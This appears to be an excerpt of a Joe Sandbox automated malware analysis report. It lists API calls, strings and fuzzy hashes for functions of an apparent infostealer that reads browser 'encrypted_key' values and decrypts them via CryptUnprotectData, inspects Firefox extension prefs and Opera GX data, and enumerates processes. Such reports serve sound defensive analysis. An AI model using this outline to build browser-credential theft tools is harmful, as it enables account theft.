CloseHandle.KERNEL32(00000000), ref: 004102A9

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32lstrcpy$Next$CloseCreateFirstHandleSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 562399079-0
Opcode ID: 3663534718aaebda766d9f339d95b4bc5c4fe485cb08fecaf46bd7da7b716aef
Instruction ID: b719f9b5f692b2ac1a9fa5fbc0615dd86b5ea1c9724ba4ed1b36593775d07faa
Opcode Fuzzy Hash: 3663534718aaebda766d9f339d95b4bc5c4fe485cb08fecaf46bd7da7b716aef
Instruction Fuzzy Hash: 111194326001186BDB15EB56DC06BFE737DAF84B00F00417EF605E2191DF785A4A8BE9

Function 0040FD30 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040FD45
HeapAlloc.KERNEL32(00000000), ref: 0040FD4C
RegOpenKeyExA.KERNEL32(80000002,02499118,00000000,00020119,00000000), ref: 0040FD6B
RegQueryValueExA.KERNEL32(00000000,024C0410,00000000,00000000,00000000,000000FF), ref: 0040FD86
RegCloseKey.ADVAPI32(00000000), ref: 0040FD90

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d594ebf37586e0727eba3e8eb50fd5e32515ea22ef465c73045e54e17348c99c
Instruction ID: d8ad9fbc0ebf95024768528cc8c117c10f0d608e1468c19e6a8aac0af7a2ce34
Opcode Fuzzy Hash: d594ebf37586e0727eba3e8eb50fd5e32515ea22ef465c73045e54e17348c99c
Instruction Fuzzy Hash: 31F049B5600208BFE710ABA0EC49EAB7BBDEB48755F002158FA05E6280D6B099008BE0

Function 00406FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(024BDE88,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,0040B90C,024BFEB0), ref: 00406FE6

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

SetEnvironmentVariableA.KERNEL32(024BDE88,00000000,00000000,?,00423404,?,0040B90C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004201E9), ref: 0040704F
LoadLibraryA.KERNEL32(024C02B0,?,?,?,?,?,?,?,0040B90C,024BFEB0), ref: 00407064

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00406FE0, 00406FF9

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: e98fc9e29bf9c516a4c274fbadb32b23fbb376f5e8dc46e077ed8ea1aa7ec4c5
Instruction ID: 3674f494c0927660592f126ebe4d752a07d6e352543a463b58e450960cf84051
Opcode Fuzzy Hash: e98fc9e29bf9c516a4c274fbadb32b23fbb376f5e8dc46e077ed8ea1aa7ec4c5
Instruction Fuzzy Hash: 0041A471A049049FC724FFE5EC45AAA33BAEB44304F04953EE401672E1DFB8690ACF96

Function 004142A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

Strings

=OA, xrefs: 00414317, 004143E6, 0041431A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID: =OA
API String ID: 4198075804-2781383965
Opcode ID: d4fdd997298575bf07402db06e935c8d0a5e5de1689ca80ceb76312ee19f8b5e
Instruction ID: c815e327a45929293fb115344fed98bb65589d785c8a70cda2a6ba11b763288e
Opcode Fuzzy Hash: d4fdd997298575bf07402db06e935c8d0a5e5de1689ca80ceb76312ee19f8b5e
Instruction Fuzzy Hash: D6416E729102089BDB24FFA1DC42BED7779AF54304F54903EF902765D2DB386A49CBA8

Function 00411280 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,?,00412B26,?), ref: 004112A0
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,00412B26,?), ref: 004112CB
CloseHandle.KERNEL32(00000000,?,?,00412B26,?), ref: 004112D6

Strings

&+A, xrefs: 00411297, 004112AD, 004112DC

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: &+A
API String ID: 1065093856-3022679855
Opcode ID: ab91a6be0141dc41c7e029fefbd30ac49884893c0f4eac77bc71346d98b16b81
Instruction ID: e3584a1bd73763bab08ea096363b5fafa1b3dc09f005f439864d535dca2b5911
Opcode Fuzzy Hash: ab91a6be0141dc41c7e029fefbd30ac49884893c0f4eac77bc71346d98b16b81
Instruction Fuzzy Hash: 6FF08C316402187ADA20EF61EC07FEA376CDB01760F00526AFA09A65D0DBB06D4586E8

Function 0040B180 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 157stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 00410DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,00413026,00000000,00000000), ref: 00410DBC

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00423544,004201E9), ref: 0040B224
lstrlenA.KERNEL32(00000000), ref: 0040B240

Strings

^userContextId=4294967295, xrefs: 0040B267
moz-extension+++, xrefs: 0040B275

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: c48c32ef212c0604c7481ddafee880322d2c914319eadbdd611795e56c70cd3d
Instruction ID: bbf64b21a70ba96c4e7d34df4571fb99f0a9ed04e141873abf1496de80f97976
Opcode Fuzzy Hash: c48c32ef212c0604c7481ddafee880322d2c914319eadbdd611795e56c70cd3d
Instruction Fuzzy Hash: B951FD729101186BDB24FB71DD529ED7378AF54704F44813EF806729D2EF386A0CCAA9

Function 004130F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 00413120
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004131CD

Strings

ERROR, xrefs: 004131BF

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: ERROR
API String ID: 1659193697-2861137601
Opcode ID: f91c5940610a1bbd3b71c6d79c2c6b3e98147c3b684953eb7e6b6194c1f4900f
Instruction ID: fa0f609c73550b9905e9a4c97c517d243e9d7e9da07ba45fb7ad886b791ba49f
Opcode Fuzzy Hash: f91c5940610a1bbd3b71c6d79c2c6b3e98147c3b684953eb7e6b6194c1f4900f
Instruction Fuzzy Hash: 03315072A00204ABCB10FF65D846BDE7B78EB44754F10813EF915A76C1DB38A649CBD9

Function 0040BE30 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 00410DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,00413026,00000000,00000000), ref: 00410DBC

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,?,?,?,?,?,0040EC99,?), ref: 0040BE7D

Part of subcall function 00406CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb@,00000000,00000000), ref: 00406CF7
Part of subcall function 00406CD0: LocalAlloc.KERNEL32(00000040,00000000,?,00406262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406D06
Part of subcall function 00406CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb@,00000000,00000000), ref: 00406D1D
Part of subcall function 00406CD0: LocalFree.KERNEL32(?,?,00406262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406D2C

Part of subcall function 00406D50: CryptUnprotectData.CRYPT32(0040EC94,00000000,00000000,00000000,00000000,00000000,?), ref: 00406D75
Part of subcall function 00406D50: LocalAlloc.KERNEL32(00000040,?,00000000), ref: 00406D8D
Part of subcall function 00406D50: LocalFree.KERNEL32(?), ref: 00406DAE

Strings

, xrefs: 0040BEE1
"encrypted_key":", xrefs: 0040BE77

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"
API String ID: 2311102621-1472317035
Opcode ID: 9f5905e0aef4ac7ce1fd80c7d097f0df329bf0185037de226f1f648a51569851
Instruction ID: a7abf6cd44106865342de8c1123d42a84d3c3a1b941403826e444eadc47bdcfc
Opcode Fuzzy Hash: 9f5905e0aef4ac7ce1fd80c7d097f0df329bf0185037de226f1f648a51569851
Instruction Fuzzy Hash: E52184B6A101096BDB14EBB5DC41AEF777DDB40304F44417AF901B32D6EB38DA448AE8

Function 6C7E3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C7E3095

Part of subcall function 6C7E35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C86F688,00001000), ref: 6C7E35D5
Part of subcall function 6C7E35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7E35E0
Part of subcall function 6C7E35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C7E35FD
Part of subcall function 6C7E35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7E363F
Part of subcall function 6C7E35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7E369F
Part of subcall function 6C7E35A0: __aulldiv.LIBCMT ref: 6C7E36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E309F

Part of subcall function 6C805B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8056EE,?,00000001), ref: 6C805B85
Part of subcall function 6C805B50: EnterCriticalSection.KERNEL32(6C86F688,?,?,?,6C8056EE,?,00000001), ref: 6C805B90
Part of subcall function 6C805B50: LeaveCriticalSection.KERNEL32(6C86F688,?,?,?,6C8056EE,?,00000001), ref: 6C805BD8
Part of subcall function 6C805B50: GetTickCount64.KERNEL32 ref: 6C805BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C7E30BE

Part of subcall function 6C7E30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C7E3127
Part of subcall function 6C7E30F0: __aulldiv.LIBCMT ref: 6C7E3140

Part of subcall function 6C81AB2A: __onexit.LIBCMT ref: 6C81AB30

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: a7bafe5f30e143f5838622e956ea971f367474afd3d33c74d3adf9f293c1184b
Instruction ID: 21630c8dcdfebf588dd0030964a58263bd0a91709594d124e2ab621b612c9aa0
Opcode Fuzzy Hash: a7bafe5f30e143f5838622e956ea971f367474afd3d33c74d3adf9f293c1184b
Instruction Fuzzy Hash: 0CF0DB22D2474456C630DF7589412F57370AF7B21CF507739E44457621FB20A5D8C3D2

Function 00411090 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 004110A5
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004110C0
CloseHandle.KERNEL32(00000000), ref: 004110C7

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 7d2f98029f2b61cd18fc45e6196706e3f12086fc559905c746de43c3997a7fbf
Instruction ID: 1c08e919c02a254b4b37d860c04ab18dc4e81f8fecafc94af7ba70b0d8b08a1d
Opcode Fuzzy Hash: 7d2f98029f2b61cd18fc45e6196706e3f12086fc559905c746de43c3997a7fbf
Instruction Fuzzy Hash: 56F06576A016286BDB20AB589C46FDE776CEF04B14F005195FF08A7290DBB46D848BD9

Function 0040D000 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

StrCmpCA.SHLWAPI(00000000,Opera GX,004201E9,004201E9,?), ref: 0040D037

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

